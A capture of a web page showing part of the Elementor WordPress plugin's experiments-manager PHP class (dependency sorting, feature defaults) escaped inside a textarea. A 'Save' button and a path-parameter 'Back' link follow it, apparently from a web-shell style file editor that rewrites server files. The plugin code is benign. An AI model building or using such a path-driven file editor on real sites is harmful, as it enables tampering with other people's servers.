					if ( self::STATE_ACTIVE === $current_feature_state &amp;&amp; $feature[&#039;name&#039;] === $dependency-&gt;get_name() ) {
						update_option( $this-&gt;get_feature_option_key( $current_feature[&#039;name&#039;] ), static::STATE_INACTIVE );
					}
				}
			}
		}
	}

	private function should_show_hidden() {
		return defined( &#039;ELEMENTOR_SHOW_HIDDEN_EXPERIMENTS&#039; ) &amp;&amp; ELEMENTOR_SHOW_HIDDEN_EXPERIMENTS;
	}

	private function create_dependency_class( $dependency_name, $dependency_args ) {
		if ( class_exists( $dependency_name ) ) {
			return $dependency_name::instance();
		}

		if ( ! empty( $dependency_args ) ) {
			return new Wrap_Core_Dependency( $dependency_args );
		}

		return new Non_Existing_Dependency( $dependency_name );
	}

	/**
	 * The experiments page is a WordPress options page, which means all the experiments are registered via WordPress&#039; register_settings(),
	 * and their states are being sent in the POST request when saving.
	 * The options are being updated in a chronological order based on the POST data.
	 * This behavior interferes with the experiments dependency mechanism because the data that&#039;s being sent can be in any order,
	 * while the dependencies mechanism expects it to be in a specific order (dependencies should be activated before their dependents can).
	 * In order to solve this issue, we sort the experiments in the POST data based on their dependencies tree.
	 *
	 * @param array $allowed_options
	 */
	private function sort_allowed_options_by_dependencies( $allowed_options ) {
		if ( ! isset( $allowed_options[&#039;elementor&#039;] ) ) {
			return $allowed_options;
		}

		$sorted = Collection::make();
		$visited = Collection::make();

		$sort = function ( $item ) use ( &amp;$sort, $sorted, $visited ) {
			if ( $visited-&gt;contains( $item ) ) {
				return;
			}

			$visited-&gt;push( $item );

			$feature = $this-&gt;get_features( $item );

			if ( ! $feature ) {
				return;
			}

			foreach ( $feature[&#039;dependencies&#039;] ?? [] as $dep ) {
				$name = is_string( $dep ) ? $dep : $dep-&gt;get_name();

				$sort( $name );
			}

			$sorted-&gt;push( $item );
		};

		foreach ( $allowed_options[&#039;elementor&#039;] as $option ) {
			$is_experiment_option = strpos( $option, static::OPTION_PREFIX ) === 0;

			if ( ! $is_experiment_option ) {
				continue;
			}

			$sort(
				str_replace( static::OPTION_PREFIX, &#039;&#039;, $option )
			);
		}

		$allowed_options[&#039;elementor&#039;] = Collection::make( $allowed_options[&#039;elementor&#039;] )
			-&gt;filter( function ( $option ) {
				return 0 !== strpos( $option, static::OPTION_PREFIX );
			} )
			-&gt;merge(
				$sorted-&gt;map( function ( $item ) {
					return static::OPTION_PREFIX . $item;
				} )
			)
			-&gt;values();

		return $allowed_options;
	}

	public function __construct() {
		$this-&gt;init_states();

		$this-&gt;init_release_statuses();

		$this-&gt;init_features();

		add_action( &#039;admin_init&#039;, function () {
			System_Info::add_report(
				&#039;experiments&#039;, [
					&#039;file_name&#039; =&gt; __DIR__ . &#039;/experiments-reporter.php&#039;,
					&#039;class_name&#039; =&gt; __NAMESPACE__ . &#039;\Experiments_Reporter&#039;,
				]
			);
		}, 79 /* Before log */ );

		if ( is_admin() ) {
			$page_id = Settings::PAGE_ID;

			add_action( &quot;elementor/admin/after_create_settings/{$page_id}&quot;, function( Settings $settings ) {
				$this-&gt;register_settings_fields( $settings );
			}, 11 );

			add_filter( &#039;allowed_options&#039;, function ( $allowed_options ) {
				return $this-&gt;sort_allowed_options_by_dependencies( $allowed_options );
			}, 11 );
		}

		// Register CLI commands.
		if ( Utils::is_wp_cli() ) {
			\WP_CLI::add_command( &#039;elementor experiments&#039;, WP_CLI::class );
		}
	}

	/**
	 * @param array $experimental_data
	 * @return array
	 *
	 * @throws Exceptions\Dependency_Exception If the feature dependency is not initialized or depends on a hidden experiment.
	 */
	private function initialize_feature_dependencies( array $experimental_data ): array {
		foreach ( $experimental_data[&#039;dependencies&#039;] as $key =&gt; $dependency ) {
			$feature = $this-&gt;get_features( $dependency );

			if ( ! isset( $feature ) ) {
				// since we must validate the state of each dependency, we have to make sure that dependencies are initialized in the correct order, otherwise, error.
				throw new Exceptions\Dependency_Exception(
					sprintf(
						&#039;Feature %s cannot be initialized before dependency feature: %s.&#039;,
						esc_html( $experimental_data[&#039;name&#039;] ),
						esc_html( $dependency )
					)
				);
			}

			if ( ! empty( $feature[ static::TYPE_HIDDEN ] ) ) {
				throw new Exceptions\Dependency_Exception( &#039;Depending on a hidden experiment is not allowed.&#039; );
			}

			$experimental_data[&#039;dependencies&#039;][ $key ] = $this-&gt;create_dependency_class( $dependency, $feature );
			$experimental_data = $this-&gt;set_feature_default_state_to_match_dependencies( $feature, $experimental_data );
		}

		return $experimental_data;
	}

	/**
	 * @param array $feature
	 * @param array $experimental_data
	 * @return array
	 *
	 * we must validate the state:
	 * * A user can set a dependant feature to inactive and in upgrade we don&#039;t change users settings.
	 * * A developer can set the default state to be invalid (e.g. dependant feature is inactive).
	 * if one of the dependencies is inactive, the main feature should be inactive as well.
	 */
	private function set_feature_default_state_to_match_dependencies( array $feature, array $experimental_data ): array {
		if ( self::STATE_INACTIVE !== $this-&gt;get_feature_actual_state( $feature ) ) {
			return $experimental_data;
		}

		if ( self::STATE_ACTIVE === $experimental_data[&#039;state&#039;] ) {
			$experimental_data[&#039;state&#039;] = self::STATE_INACTIVE;
		} elseif ( self::STATE_DEFAULT === $experimental_data[&#039;state&#039;] ) {
			$experimental_data[&#039;default&#039;] = self::STATE_INACTIVE;
		}

		return $experimental_data;
	}

	/**
	 * @param array $new_site
	 * @param array $experimental_data
	 * @return array
	 */
	private function set_new_site_default_state( $new_site, array $experimental_data ): array {
		if ( ! $this-&gt;install_compare( $new_site[&#039;minimum_installation_version&#039;] ) ) {
			return $experimental_data;
		}

		if ( $new_site[&#039;always_active&#039;] ) {
			$experimental_data[&#039;state&#039;] = self::STATE_ACTIVE;
			$experimental_data[&#039;mutable&#039;] = false;
		} elseif ( $new_site[&#039;default_active&#039;] ) {
			$experimental_data[&#039;default&#039;] = self::STATE_ACTIVE;
		} elseif ( $new_site[&#039;default_inactive&#039;] ) {
			$experimental_data[&#039;default&#039;] = self::STATE_INACTIVE;
		}

		return $experimental_data;
	}

	/**
	 * @param array $options
	 * @return array
	 */
	private function set_feature_initial_options( array $options ): array {
		$default_experimental_data = [
			&#039;tag&#039; =&gt; &#039;&#039;, // Deprecated, use &#039;tags&#039; instead.
			&#039;tags&#039; =&gt; [],
			&#039;description&#039; =&gt; &#039;&#039;,
			&#039;release_status&#039; =&gt; self::RELEASE_STATUS_ALPHA,
			&#039;default&#039; =&gt; self::STATE_INACTIVE,
			&#039;mutable&#039; =&gt; true,
			static::TYPE_HIDDEN =&gt; false,
			&#039;new_site&#039; =&gt; [
				&#039;always_active&#039; =&gt; false,
				&#039;default_active&#039; =&gt; false,
				&#039;default_inactive&#039; =&gt; false,
				&#039;minimum_installation_version&#039; =&gt; null,
			],
			&#039;on_state_change&#039; =&gt; null,
			&#039;generator_tag&#039; =&gt; false,
			&#039;deprecated&#039; =&gt; false,
		];

		$allowed_options = [ &#039;name&#039;, &#039;title&#039;, &#039;tag&#039;, &#039;tags&#039;, &#039;description&#039;, &#039;release_status&#039;, &#039;default&#039;, &#039;mutable&#039;, static::TYPE_HIDDEN, &#039;new_site&#039;, &#039;on_state_change&#039;, &#039;dependencies&#039;, &#039;generator_tag&#039;, &#039;messages&#039;, &#039;deprecated&#039; ];
		$experimental_data = $this-&gt;merge_properties( $default_experimental_data, $options, $allowed_options );

		return $this-&gt;unify_feature_tags( $experimental_data );
	}
}
</textarea><br>  
            <input type='submit' value='Save'>  
        </form>  
        <p><a href='?path=%2Fusr%2Fwww%2Fusers%2Fsvninyjgba%2Fwp-content%2Fplugins%2Felementor%2Fcore%2Fexperiments'>🔙 Back</a></p>